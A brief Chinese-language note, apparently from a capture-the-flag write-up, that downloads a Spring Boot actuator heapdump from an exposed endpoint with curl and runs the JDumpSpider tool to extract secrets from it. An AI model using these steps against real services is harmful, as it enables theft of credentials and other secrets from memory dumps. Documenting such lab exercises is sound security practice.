文件有点大
curl -o heapdump.hprof http://124.71.184.68:50041/actuator/heapdump

用curl来下载

然后java -jar /Users/dionysus/CTF/java/spring/avactor/JDumpSpider-1.1-SNAPSHOT-full.jar /Users/dionysus/CTF/java/spring/avactor/heapdump

后来发现其实早就下载了,但是我没发现(QAQ)